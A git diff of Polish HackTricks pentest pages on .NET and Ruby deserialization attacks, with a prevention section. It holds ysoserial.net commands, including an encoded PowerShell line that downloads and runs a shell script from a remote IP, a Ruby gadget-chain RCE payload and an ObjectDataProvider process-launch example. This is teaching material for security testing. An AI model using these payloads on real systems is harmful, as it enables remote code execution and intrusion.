W kontekście .Net, eksploatacje deserializacji działają podobnie jak te znalezione w Javie, gdzie gadżety są wykorzystywane do uruchamiania określonego kodu podczas deserializacji obiektu.
|
||||
W kontekście .Net, exploity deserializacji działają w sposób podobny do tych w Javie, gdzie gadżety są wykorzystywane do uruchamiania określonego kodu podczas deserializacji obiektu.
|
||||
|
||||
### Odcisk palca
|
||||
|
||||
#### WhiteBox
|
||||
|
||||
Kod źródłowy powinien być sprawdzony pod kątem wystąpień:
|
||||
Kod źródłowy powinien być sprawdzany pod kątem wystąpień:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
Należy skupić się na serializatorach, które pozwalają określić typ za pomocą zmiennej kontrolowanej przez użytkownika.
|
||||
Skup się na serializerach, które pozwalają na określenie typu przez zmienną pod kontrolą użytkownika.
|
||||
|
||||
#### BlackBox
|
||||
|
||||
Wyszukiwanie powinno być skierowane na zakodowany w Base64 ciąg **AAEAAAD/////** lub podobny wzorzec, który może zostać poddany deserializacji po stronie serwera, umożliwiając kontrolę nad typem do deserializacji. Może to obejmować, ale nie ograniczać się do struktur **JSON** lub **XML** zawierających `TypeObject` lub `$type`.
|
||||
Poszukiwania powinny koncentrować się na zakodowanym ciągu Base64 **AAEAAAD/////** lub jakimkolwiek podobnym wzorze, który może być deserializowany po stronie serwera, dając kontrolę nad typem, który ma być deserializowany. Może to obejmować, ale nie ogranicza się do, struktur **JSON** lub **XML** zawierających `TypeObject` lub `$type`.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
W tym przypadku można skorzystać z narzędzia [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) w celu **tworzenia exploitów deserializacji**. Po pobraniu repozytorium git należy **skompilować narzędzie** przy użyciu na przykład Visual Studio.
|
||||
W tym przypadku możesz użyć narzędzia [**ysoserial.net**](https://github.com/pwntester/ysoserial.net), aby **tworzyć exploity deserializacji**. Po pobraniu repozytorium git powinieneś **skompilować narzędzie** na przykład za pomocą Visual Studio.
|
||||
|
||||
Jeśli chcesz dowiedzieć się, **jak ysoserial.net tworzy swoje exploity**, możesz [**sprawdzić tę stronę, gdzie wyjaśniono gadżet ObjectDataProvider + ExpandedWrapper + formatujący Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
Jeśli chcesz dowiedzieć się, **jak ysoserial.net tworzy swoje exploity**, możesz [**sprawdzić tę stronę, na której wyjaśniono gadżet ObjectDataProvider + ExpandedWrapper + formatter Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
Główne opcje **ysoserial.net** to: **`--gadget`**, **`--formatter`**, **`--output`** i **`--plugin`.**
|
||||
|
||||
* **`--gadget`** służy do wskazania gadżetu do wykorzystania (wskazuje klasę/funkcję, która będzie wykorzystana podczas deserializacji do wykonania poleceń).
|
||||
* **`--formatter`**, służy do wskazania metody serializacji exploitu (musisz wiedzieć, która biblioteka jest używana po stronie serwera do deserializacji ładunku i użyć tej samej do jego serializacji)
|
||||
* **`--output`** służy do wskazania, czy chcesz exploit w formacie **surowym** czy **zakodowanym w Base64**. _Zauważ, że **ysoserial.net** zakoduje ładunek za pomocą **UTF-16LE** (domyślne kodowanie w systemie Windows), więc jeśli otrzymasz surowy i po prostu zakodujesz go z konsoli Linux, możesz napotkać problemy z **zgodnością kodowania**, które uniemożliwią poprawne działanie exploitu (w HTB JSON box ładunek działał zarówno w UTF-16LE, jak i ASCII, ale to nie oznacza, że zawsze będzie działał)._
|
||||
* **`--plugin`** ysoserial.net obsługuje wtyczki do tworzenia **exploitów dla konkretnych frameworków** jak ViewState
|
||||
* **`--gadget`** używane do wskazania gadżetu do wykorzystania (wskazuje klasę/funkcję, która będzie wykorzystywana podczas deserializacji do wykonania poleceń).
|
||||
* **`--formatter`**, używane do wskazania metody do serializacji exploita (musisz wiedzieć, która biblioteka jest używana w backendzie do deserializacji ładunku i użyć tej samej do jego serializacji).
|
||||
* **`--output`** używane do wskazania, czy chcesz, aby exploit był w formacie **raw** czy **base64**. _Zauważ, że **ysoserial.net** będzie **kodować** ładunek używając **UTF-16LE** (domyślne kodowanie w Windows), więc jeśli uzyskasz surowy ładunek i po prostu zakodujesz go z konsoli linuxowej, możesz napotkać problemy z **kompatybilnością kodowania**, które uniemożliwią poprawne działanie exploita (w przypadku HTB JSON box ładunek działał zarówno w UTF-16LE, jak i ASCII, ale to nie oznacza, że zawsze będzie działać)._
|
||||
* **`--plugin`** ysoserial.net obsługuje wtyczki do tworzenia **exploitów dla konkretnych frameworków** jak ViewState.
|
||||
|
||||
#### Dodatkowe parametry ysoserial.net
|
||||
#### Więcej parametrów ysoserial.net
|
||||
|
||||
* `--minify` dostarczy **mniejszego ładunku** (jeśli to możliwe)
|
||||
* `--raf -f Json.Net -c "anything"` To wskaże wszystkie gadżety, które można użyć z podanym formatowaniem (`Json.Net` w tym przypadku)
|
||||
* `--sf xml` możesz **wskazać gadżet** (`-g`) i ysoserial.net będzie szukał formatowników zawierających "xml" (bez uwzględniania wielkości liter)
|
||||
* `--minify` zapewni **mniejszy ładunek** (jeśli to możliwe)
|
||||
* `--raf -f Json.Net -c "anything"` To wskaże wszystkie gadżety, które mogą być używane z podanym formatterem (`Json.Net` w tym przypadku)
|
||||
* `--sf xml` możesz **wskazać gadżet** (`-g`), a ysoserial.net będzie szukać formatterów zawierających "xml" (niezależnie od wielkości liter)
|
||||
|
||||
Przykłady **exploitów ysoserial** do tworzenia:
|
||||
**Przykłady ysoserial** do tworzenia exploitów:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
|
@ -671,8 +673,8 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
|||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** ma również **bardzo interesujący parametr**, który pomaga lepiej zrozumieć, jak działa każdy exploit: `--test`\
|
||||
Jeśli wskazujesz ten parametr, **ysoserial.net** będzie **próbował** exploit lokalnie, dzięki czemu możesz przetestować, czy twój payload będzie działać poprawnie.\
|
||||
Ten parametr jest pomocny, ponieważ po przejrzeniu kodu znajdziesz fragmenty kodu takie jak ten (z [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
Jeśli wskażesz ten parametr, **ysoserial.net** **spróbuje** **eksploatacji lokalnie**, abyś mógł przetestować, czy twój ładunek zadziała poprawnie.\
|
||||
Ten parametr jest pomocny, ponieważ jeśli przejrzysz kod, znajdziesz fragmenty kodu takie jak ten (z [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
{
|
||||
|
@ -686,7 +688,7 @@ Debugging.ShowErrors(inputArgs, err);
|
|||
}
|
||||
}
|
||||
```
|
||||
To oznacza, że w celu przetestowania exploitu kod wywoła [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||
To oznacza, że aby przetestować exploit, kod wywoła [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||
```java
|
||||
public static object JsonNet_deserialize(string str)
|
||||
{
|
||||
|
@ -697,46 +699,46 @@ TypeNameHandling = TypeNameHandling.Auto
|
|||
return obj;
|
||||
}
|
||||
```
|
||||
W **poprzednim kodzie jest podatny na stworzony exploit**. Jeśli więc znajdziesz coś podobnego w aplikacji .Net, oznacza to prawdopodobnie, że ta aplikacja również jest podatna.\
|
||||
Dlatego parametr **`--test`** pozwala nam zrozumieć, **które fragmenty kodu są podatne** na exploit deserializacji, który może stworzyć **ysoserial.net**.
|
||||
W **poprzednim kodzie występuje luka w zabezpieczeniach, która została stworzona**. Jeśli znajdziesz coś podobnego w aplikacji .Net, oznacza to, że prawdopodobnie ta aplikacja również jest podatna.\
|
||||
Dlatego parametr **`--test`** pozwala nam zrozumieć **które fragmenty kodu są podatne** na exploit deserializacji, który **ysoserial.net** może stworzyć.
|
||||
|
||||
### ViewState
|
||||
|
||||
Zajrzyj do [tego POSTa dotyczącego **próby wykorzystania parametru \_\_ViewState w .Net**](exploiting-\_\_viewstate-parameter.md) do **wykonania arbitralnego kodu**. Jeśli **znasz już tajemnice** używane przez maszynę ofiary, [**przeczytaj ten post, aby dowiedzieć się, jak wykonać kod**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
||||
Zobacz [ten POST o **tym, jak spróbować wykorzystać parametr \_\_ViewState w .Net**](exploiting-\_\_viewstate-parameter.md) aby **wykonać dowolny kod.** Jeśli **już znasz sekrety** używane przez maszynę ofiary, [**przeczytaj ten post, aby dowiedzieć się, jak wykonać kod**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
||||
|
||||
### Zapobieganie
|
||||
|
||||
Aby zmniejszyć ryzyko związane z deserializacją w .Net:
|
||||
Aby zminimalizować ryzyko związane z deserializacją w .Net:
|
||||
|
||||
* **Unikaj pozwalania strumieniom danych na definiowanie typów obiektów.** Korzystaj z `DataContractSerializer` lub `XmlSerializer`, gdy to możliwe.
|
||||
* **Unikaj pozwalania strumieniom danych na definiowanie swoich typów obiektów.** Wykorzystuj `DataContractSerializer` lub `XmlSerializer`, gdy to możliwe.
|
||||
* **Dla `JSON.Net`, ustaw `TypeNameHandling` na `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
* **Unikaj używania `JavaScriptSerializer` z `JavaScriptTypeResolver`.**
|
||||
* **Ogranicz typy, które mogą być deserializowane**, rozumiejąc związane z nimi ryzyka, takie jak `System.IO.FileInfo`, który może modyfikować właściwości plików serwera, potencjalnie prowadząc do ataków typu odmowa usługi.
|
||||
* **Bądź ostrożny z typami posiadającymi ryzykowne właściwości**, jak `System.ComponentModel.DataAnnotations.ValidationException` z jego właściwością `Value`, która może być wykorzystana.
|
||||
* **Bezpiecznie kontroluj instancjonowanie typów**, aby zapobiec wpływaniu atakujących na proces deserializacji, czyniąc nawet `DataContractSerializer` lub `XmlSerializer` podatnymi.
|
||||
* **Wprowadź kontrolę białej listy** za pomocą niestandardowego `SerializationBinder` dla `BinaryFormatter` i `JSON.Net`.
|
||||
* **Ogranicz typy, które mogą być deserializowane**, rozumiejąc inherentne ryzyko związane z typami .Net, takimi jak `System.IO.FileInfo`, które mogą modyfikować właściwości plików na serwerze, co potencjalnie prowadzi do ataków typu denial of service.
|
||||
* **Bądź ostrożny z typami mającymi ryzykowne właściwości**, jak `System.ComponentModel.DataAnnotations.ValidationException` z jego właściwością `Value`, która może być wykorzystana.
|
||||
* **Bezpiecznie kontroluj instancjonowanie typów**, aby zapobiec wpływowi atakujących na proces deserializacji, co sprawia, że nawet `DataContractSerializer` lub `XmlSerializer` mogą być podatne.
|
||||
* **Wprowadź kontrolę białej listy** przy użyciu niestandardowego `SerializationBinder` dla `BinaryFormatter` i `JSON.Net`.
|
||||
* **Bądź na bieżąco z znanymi niebezpiecznymi gadżetami deserializacji** w .Net i upewnij się, że deserializatory nie instancjonują takich typów.
|
||||
* **Izoluj potencjalnie ryzykowny kod** od kodu z dostępem do internetu, aby uniknąć ujawnienia znanych gadżetów, takich jak `System.Windows.Data.ObjectDataProvider` w aplikacjach WPF, dla niezaufanych źródeł danych.
|
||||
* **Izoluj potencjalnie ryzykowny kod** od kodu z dostępem do internetu, aby uniknąć narażenia znanych gadżetów, takich jak `System.Windows.Data.ObjectDataProvider` w aplikacjach WPF, na niezaufane źródła danych.
|
||||
|
||||
### **Referencje**
|
||||
|
||||
* Dokument na temat deserializacji JSON w Java i .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** prezentacja: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) oraz slajdy: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* Artykuł o deserializacji JSON w Javie i .Net:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** wykład: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdy: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
||||
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
||||
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
|
||||
## **Ruby**
|
||||
|
||||
W Ruby, serializacja jest ułatwiona przez dwie metody w bibliotece **marshal**. Pierwsza metoda, znana jako **dump**, służy do przekształcenia obiektu w strumień bajtów. Proces ten nazywany jest serializacją. Z kolei druga metoda, **load**, służy do przywrócenia strumienia bajtów do obiektu, proces ten nazywany jest deserializacją.
|
||||
W Ruby, serializacja jest ułatwiana przez dwie metody w bibliotece **marshal**. Pierwsza metoda, znana jako **dump**, jest używana do przekształcania obiektu w strumień bajtów. Proces ten nazywa się serializacją. Z kolei druga metoda, **load**, jest stosowana do przywracania strumienia bajtów z powrotem do obiektu, co nazywa się deserializacją.
|
||||
|
||||
Dla zabezpieczenia zserializowanych obiektów, **Ruby wykorzystuje HMAC (Hash-Based Message Authentication Code)**, zapewniając integralność i autentyczność danych. Klucz używany w tym celu jest przechowywany w jednym z kilku możliwych miejsc:
|
||||
Aby zabezpieczyć zserializowane obiekty, **Ruby wykorzystuje HMAC (Hash-Based Message Authentication Code)**, zapewniając integralność i autentyczność danych. Klucz używany do tego celu jest przechowywany w jednym z kilku możliwych miejsc:
|
||||
|
||||
* `config/environment.rb`
|
||||
* `config/initializers/secret_token.rb`
|
||||
* `config/secrets.yml`
|
||||
* `/proc/self/environ`
|
||||
|
||||
**Łańcuch gadżetów deserializacji do RCE w Ruby 2.X (więcej informacji na** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
**Ogólna deserializacja Ruby 2.X do łańcucha gadżetów RCE (więcej informacji w** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
|
@ -807,13 +809,13 @@ require "base64"
|
|||
puts "Payload (Base64 encoded):"
|
||||
puts Base64.encode64(payload)
|
||||
```
|
||||
Inny łańcuch RCE do wykorzystania w Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
Inne łańcuchy RCE do wykorzystania w Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
### Metoda Ruby .send()
|
||||
|
||||
Jak wyjaśniono w [**tym raporcie o podatności**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), jeśli niezabezpieczone dane użytkownika docierają do metody `.send()` obiektu ruby, ta metoda pozwala na **wywołanie dowolnej innej metody** obiektu z dowolnymi parametrami.
|
||||
Jak wyjaśniono w [**tym raporcie o podatności**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), jeśli nieprzetworzony input od użytkownika dotrze do metody `.send()` obiektu ruby, ta metoda pozwala na **wywołanie dowolnej innej metody** obiektu z dowolnymi parametrami.
|
||||
|
||||
Na przykład, wywołanie eval, a następnie kodu ruby jako drugiego parametru pozwoli na wykonanie arbitralnego kodu:
|
||||
Na przykład, wywołanie eval, a następnie kodu ruby jako drugiego parametru pozwoli na wykonanie dowolnego kodu:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```ruby
|
||||
|
@ -821,8 +823,8 @@ Na przykład, wywołanie eval, a następnie kodu ruby jako drugiego parametru po
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Ponadto, jeśli tylko jeden parametr **`.send()`** jest kontrolowany przez atakującego, jak wspomniano wcześniej, możliwe jest wywołanie dowolnej metody obiektu, która **nie wymaga argumentów** lub których argumenty mają **wartości domyślne**.\
|
||||
W tym celu można wyliczyć wszystkie metody obiektu, aby **znaleźć interesujące metody spełniające te wymagania**.
|
||||
Ponadto, jeśli tylko jeden parametr **`.send()`** jest kontrolowany przez atakującego, jak wspomniano w poprzednim opisie, możliwe jest wywołanie dowolnej metody obiektu, która **nie potrzebuje argumentów** lub której argumenty mają **wartości domyślne**.\
|
||||
W tym celu można wyenumerować wszystkie metody obiektu, aby **znaleźć interesujące metody, które spełniają te wymagania**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```ruby
|
||||
|
@ -848,16 +850,17 @@ candidate_methods.length() # Final number of methods=> 3595
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,48 +1,51 @@
|
|||
# Podstawowa deserializacja .Net (gadżet ObjectDataProvider, ExpandedWrapper i Json.Net)
|
||||
# Podstawowa deserializacja .Net (gadget ObjectDataProvider, ExpandedWrapper i Json.Net)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Ten post jest poświęcony **zrozumieniu, jak wykorzystywany jest gadżet ObjectDataProvider** do uzyskania RCE i **jak** biblioteki serializacji **Json.Net i xmlSerializer mogą być wykorzystane** z tym gadżetem.
|
||||
Ten post jest poświęcony **zrozumieniu, jak gadget ObjectDataProvider jest wykorzystywany** do uzyskania RCE oraz **jak** biblioteki serializacji **Json.Net i xmlSerializer mogą być nadużywane** z tym gadżetem.
|
||||
|
||||
## Gadżet ObjectDataProvider
|
||||
## Gadget ObjectDataProvider
|
||||
|
||||
Z dokumentacji: _klasa ObjectDataProvider owija i tworzy obiekt, który można użyć jako źródło wiązania_.\
|
||||
Tak, to dziwne wyjaśnienie, więc zobaczmy, co ta klasa ma tak interesującego: Ta klasa pozwala na **owinięcie dowolnego obiektu**, użycie _**MethodParameters**_ do **ustawienia dowolnych parametrów,** a następnie **użycie MethodName do wywołania dowolnej funkcji** dowolnego obiektu zadeklarowanego przy użyciu dowolnych parametrów.\
|
||||
W związku z tym dowolny **obiekt** będzie **wykonywał** funkcję z **parametrami podczas deserializacji.**
|
||||
Z dokumentacji: _klasa ObjectDataProvider opakowuje i tworzy obiekt, który możesz użyć jako źródło powiązania_.\
|
||||
Tak, to dziwne wyjaśnienie, więc zobaczmy, co ta klasa ma, co jest tak interesujące: Ta klasa pozwala na **opakowanie dowolnego obiektu**, użycie _**MethodParameters**_ do **ustawienia dowolnych parametrów** i następnie **użycie MethodName do wywołania dowolnej funkcji** dowolnego obiektu zadeklarowanego przy użyciu dowolnych parametrów.\
|
||||
W związku z tym, dowolny **obiekt** będzie **wykonywał** **funkcję** z **parametrami podczas deserializacji.**
|
||||
|
||||
### **Jak to jest możliwe**
|
||||
|
||||
Przestrzeń nazw **System.Windows.Data**, znajdująca się w **PresentationFramework.dll** pod adresem `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, to miejsce, gdzie zdefiniowany i zaimplementowany jest ObjectDataProvider.
|
||||
Przestrzeń nazw **System.Windows.Data**, znajdująca się w **PresentationFramework.dll** w `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, to miejsce, w którym zdefiniowano i zaimplementowano ObjectDataProvider.
|
||||
|
||||
Korzystając z [**dnSpy**](https://github.com/0xd4d/dnSpy) możesz **przejrzeć kod** interesującej nas klasy. Na poniższym obrazie widzimy kod **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nazwa metody**
|
||||
Używając [**dnSpy**](https://github.com/0xd4d/dnSpy) możesz **zbadać kod** klasy, która nas interesuje. Na poniższym obrazku widzimy kod **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nazwa metody**
|
||||
|
||||
![](<../../.gitbook/assets/image (427).png>)
|
||||
|
||||
Jak widać, gdy ustawiona jest `MethodName`, wywoływane jest `base.Refresh()`, zobaczmy, co ona robi:
|
||||
Jak możesz zauważyć, gdy `MethodName` jest ustawione, wywoływana jest `base.Refresh()`, przyjrzyjmy się, co to robi:
|
||||
|
||||
![](<../../.gitbook/assets/image (319).png>)
|
||||
|
||||
Dobra, kontynuujmy, zobaczmy, co robi `this.BeginQuery()`. `BeginQuery` jest nadpisane przez `ObjectDataProvider` i oto, co robi:
|
||||
Dobrze, kontynuujmy, aby zobaczyć, co robi `this.BeginQuery()`. `BeginQuery` jest nadpisywane przez `ObjectDataProvider` i to jest to, co robi:
|
||||
|
||||
![](<../../.gitbook/assets/image (345).png>)
|
||||
|
||||
Zauważ, że na końcu kodu jest wywołanie `this.QueryWorke(null)`. Sprawdźmy, co to wykonuje:
|
||||
Zauważ, że na końcu kodu wywoływana jest `this.QueryWorke(null)`. Zobaczmy, co to wykonuje:
|
||||
|
||||
![](<../../.gitbook/assets/image (596).png>)
|
||||
|
||||
Zauważ, że to nie jest cały kod funkcji `QueryWorker`, ale pokazuje on interesującą część: Kod **wywołuje `this.InvokeMethodOnInstance(out ex);`** to linia, w której **wywoływana jest ustawiona metoda**.
|
||||
Zauważ, że to nie jest pełny kod funkcji `QueryWorker`, ale pokazuje interesującą część: Kod **wywołuje `this.InvokeMethodOnInstance(out ex);`** to jest linia, w której **ustawiona jest metoda**.
|
||||
|
||||
Jeśli chcesz sprawdzić, czy ustawienie _**MethodName**_ spowoduje jej wykonanie, możesz uruchomić ten kod:
|
||||
Jeśli chcesz sprawdzić, że ustawienie _**MethodName**_\*\* zostanie wykonane\*\*, możesz uruchomić ten kod:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
|
@ -62,14 +65,14 @@ myODP.MethodName = "Start";
|
|||
}
|
||||
}
|
||||
```
|
||||
Zauważ, że musisz dodać jako odwołanie _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ w celu załadowania `System.Windows.Data`
|
||||
Zauważ, że musisz dodać jako odniesienie _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_, aby załadować `System.Windows.Data`
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
Korzystając z poprzedniego exploitu, mogą wystąpić przypadki, w których **obiekt** zostanie **zdeserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w przypadku luki w DotNetNuke, używając XmlSerializer, obiekt został zdeserializowany za pomocą `GetType`). W takim przypadku **nie będziemy mieli wiedzy o typie obiektu zawartego** w instancji _ObjectDataProvider_ (np. `Process`). Więcej informacji na temat luki w DotNetNuke można znaleźć [tutaj](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
|
||||
